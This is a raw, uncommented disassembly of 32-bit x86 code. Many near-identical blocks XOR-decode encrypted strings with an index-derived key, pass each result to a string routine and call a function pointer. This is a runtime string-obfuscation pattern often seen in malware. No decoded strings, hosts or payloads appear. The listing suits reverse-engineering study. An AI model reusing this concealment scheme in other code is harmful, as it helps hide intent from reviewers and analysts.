call fcn.10049b80
mov dword [ebp - 4], 6
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push ecx
cmovae edx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x50]
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x100660ee
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100660e4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069bdc
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
call dword [ebp - 0x4c]
movq xmm0, qword [0x100f3430]
add esp, 4
cmp byte [0x100f343b], 0
mov eax, dword [0x100f3438]
movq qword [ebp - 0x2c], xmm0
mov dword [ebp - 0x24], eax
je 0x1006625e
xor edx, edx
mov dword [ebp - 0x14], edx
cmp edi, 2
jl 0x10066230
movaps xmm2, xmmword [0x100f8cc0]
mov eax, 4
movaps xmm4, xmmword [0x100f8fa0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
mov dword [ebp - 0x14], edx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.9999999999999999]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x100f8d00]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x100f3430]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x2c], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x28]
pxor xmm1, xmm0
movd dword [ebp - 0x28], xmm1
nop
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x2c], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xc
jl 0x10066230
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10066280
sub ecx, edx
lea eax, [ebp - 0x2c]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
mov dword [ebp - 4], 7
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push ecx
cmovae edx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x50]
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x100662ee
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100662e4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069be1
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
call dword [ebp - 0x4c]
mov eax, dword [0x100f33c4]
xor edx, edx
movq xmm0, qword [0x100f33bc]
add esp, 4
mov dword [ebp - 0x27], eax
mov ax, word [0x100f33c8]
mov word [ebp - 0x23], ax
mov al, byte [0x100f33ca]
movq qword [ebp - 0x2f], xmm0
mov byte [ebp - 0x21], al
mov dword [ebp - 0x14], edx
cmp edi, 2
jl 0x10066433
movaps xmm2, xmmword [0x100f8cc0]
mov eax, 4
movaps xmm4, xmmword [0x100f8fa0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
mov dword [ebp - 0x14], edx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.9999999999999999]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x100f8d00]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x100f33bc]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x2f], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x2b]
pxor xmm1, xmm0
movd dword [ebp - 0x2b], xmm1
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x2f], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xf
jl 0x10066433
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x2f]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10066480
sub ecx, edx
lea eax, [ebp - 0x2f]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
mov dword [ebp - 4], 8
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push ecx
cmovae edx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x50]
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x100664ee
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100664e4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069be6
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
call dword [ebp - 0x4c]
mov eax, dword [0x100f3418]
xor edx, edx
movq xmm0, qword [0x100f3410]
add esp, 4
mov dword [ebp - 0x27], eax
mov ax, word [0x100f341c]
mov word [ebp - 0x23], ax
mov al, byte [0x100f341e]
movq qword [ebp - 0x2f], xmm0
mov byte [ebp - 0x21], al
mov dword [ebp - 0x14], edx
cmp edi, 2
jl 0x10066633
movaps xmm2, xmmword [0x100f8cc0]
mov eax, 4
movaps xmm4, xmmword [0x100f8fa0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
mov dword [ebp - 0x14], edx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.9999999999999999]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x100f8d00]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x100f3410]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x2f], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x2b]
pxor xmm1, xmm0
movd dword [ebp - 0x2b], xmm1
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x2f], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xf
jl 0x10066633
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x2f]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10066680
sub ecx, edx
lea eax, [ebp - 0x2f]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
mov dword [ebp - 4], 9
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push ecx
cmovae edx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x50]
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x100666ee
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100666e4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069beb
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
call dword [ebp - 0x4c]
mov eax, dword [0x100f3658]
xor edx, edx
movq xmm0, qword [0x100f3650]
add esp, 4
mov dword [ebp - 0x25], eax
mov al, byte [0x100f365c]
movq qword [ebp - 0x2d], xmm0
mov byte [ebp - 0x21], al
mov dword [ebp - 0x14], edx
cmp edi, 2
jl 0x10066830
movaps xmm2, xmmword [0x100f8cc0]
mov eax, 4
movaps xmm4, xmmword [0x100f8fa0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
mov dword [ebp - 0x14], edx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.9999999999999999]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x100f8d00]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x100f3650]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x2d], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x29]
pxor xmm1, xmm0
movd dword [ebp - 0x29], xmm1
nop dword [eax]
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x2d], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xd
jl 0x10066830
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x2d]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10066880
sub ecx, edx
lea eax, [ebp - 0x2d]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
mov dword [ebp - 4], 0xa
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push ecx
cmovae edx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x50]
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x100668ee
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100668e4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069bf0
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
call dword [ebp - 0x4c]
mov eax, dword [0x100f35c4]
xor edx, edx
movq xmm0, qword [str.uUZXqW_2_0:]
add esp, 4
mov dword [ebp - 0x25], eax
mov al, byte [0x100f35c8]
movq qword [ebp - 0x2d], xmm0
mov byte [ebp - 0x21], al
mov dword [ebp - 0x14], edx
cmp edi, 2
jl 0x10066a30
movaps xmm2, xmmword [0x100f8cc0]
mov eax, 4
movaps xmm4, xmmword [0x100f8fa0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
mov dword [ebp - 0x14], edx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.9999999999999999]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x100f8d00]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.uUZXqW_2_0:]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x2d], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x29]
pxor xmm1, xmm0
movd dword [ebp - 0x29], xmm1
nop dword [eax]
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x2d], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xd
jl 0x10066a30
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x2d]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10066a80
sub ecx, edx
lea eax, [ebp - 0x2d]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
mov dword [ebp - 4], 0xb
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push ecx
cmovae edx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x50]
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x10066aee
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10066ae4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069bf5
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
call dword [ebp - 0x4c]
mov eax, dword [0x100f3594]
xor edx, edx
movq xmm0, qword [str.zH_I_o2._76]
add esp, 4
mov dword [ebp - 0x27], eax
mov ax, word [0x100f3598]
mov word [ebp - 0x23], ax
mov al, byte [0x100f359a]
movq qword [ebp - 0x2f], xmm0
mov byte [ebp - 0x21], al
mov dword [ebp - 0x14], edx
cmp edi, 2
jl 0x10066c33
movaps xmm2, xmmword [0x100f8cc0]
mov eax, 4
movaps xmm4, xmmword [0x100f8fa0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
mov dword [ebp - 0x14], edx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.9999999999999999]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x100f8d00]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.zH_I_o2._76]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x2f], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x2b]
pxor xmm1, xmm0
movd dword [ebp - 0x2b], xmm1
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x2f], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xf
jl 0x10066c33
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x2f]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10066c80
sub ecx, edx
lea eax, [ebp - 0x2f]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
mov dword [ebp - 4], 0xc
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push ecx
cmovae edx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x50]
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x10066cee
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10066ce4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069bfa
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
call dword [ebp - 0x4c]
mov eax, dword [0x100f3764]
xor edx, edx
movq xmm0, qword [str.zH_I_o2._76_aG]
add esp, 4
mov dword [ebp - 0x27], eax
mov ax, word [0x100f3768]
mov word [ebp - 0x23], ax
mov al, byte [0x100f376a]
movq qword [ebp - 0x2f], xmm0
mov byte [ebp - 0x21], al
mov dword [ebp - 0x14], edx
cmp edi, 2
jl 0x10066e33
movaps xmm2, xmmword [0x100f8cc0]
mov eax, 4
movaps xmm4, xmmword [0x100f8fa0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
mov dword [ebp - 0x14], edx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.9999999999999999]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x100f8d00]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.zH_I_o2._76_aG]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x2f], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x2b]
pxor xmm1, xmm0
movd dword [ebp - 0x2b], xmm1
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x2f], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xf
jl 0x10066e33
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x2f]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10066e80
sub ecx, edx
lea eax, [ebp - 0x2f]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
mov dword [ebp - 4], 0xd
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push ecx
cmovae edx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x50]
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x10066eee
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10066ee4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069bff
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
call dword [ebp - 0x4c]
mov eax, dword [0x100f3374]
xor edx, edx
movq xmm0, qword [str.k_HIP_k_3__E]
add esp, 4
mov dword [ebp - 0x25], eax
mov al, byte [0x100f3378]
movq qword [ebp - 0x2d], xmm0
mov byte [ebp - 0x21], al
mov dword [ebp - 0x14], edx
cmp edi, 2
jl 0x10067030
movaps xmm2, xmmword [0x100f8cc0]
mov eax, 4
movaps xmm4, xmmword [0x100f8fa0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
mov dword [ebp - 0x14], edx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.9999999999999999]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x100f8d00]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.k_HIP_k_3__E]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x2d], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x29]
pxor xmm1, xmm0
movd dword [ebp - 0x29], xmm1
nop dword [eax]
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x2d], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xd
jl 0x10067030
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x2d]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10067080
sub ecx, edx
lea eax, [ebp - 0x2d]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
mov dword [ebp - 4], 0xe
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push ecx
cmovae edx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x50]
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x100670ee
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100670e4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069c04
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
call dword [ebp - 0x4c]
movq xmm0, qword [0x100f35fc]
add esp, 4
cmp byte [0x100f3607], 0
mov eax, dword [0x100f3604]
movq qword [ebp - 0x2c], xmm0
mov dword [ebp - 0x24], eax
je 0x1006725e
xor edx, edx
mov dword [ebp - 0x14], edx
cmp edi, 2
jl 0x10067230
movaps xmm2, xmmword [0x100f8cc0]
mov eax, 4
movaps xmm4, xmmword [0x100f8fa0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
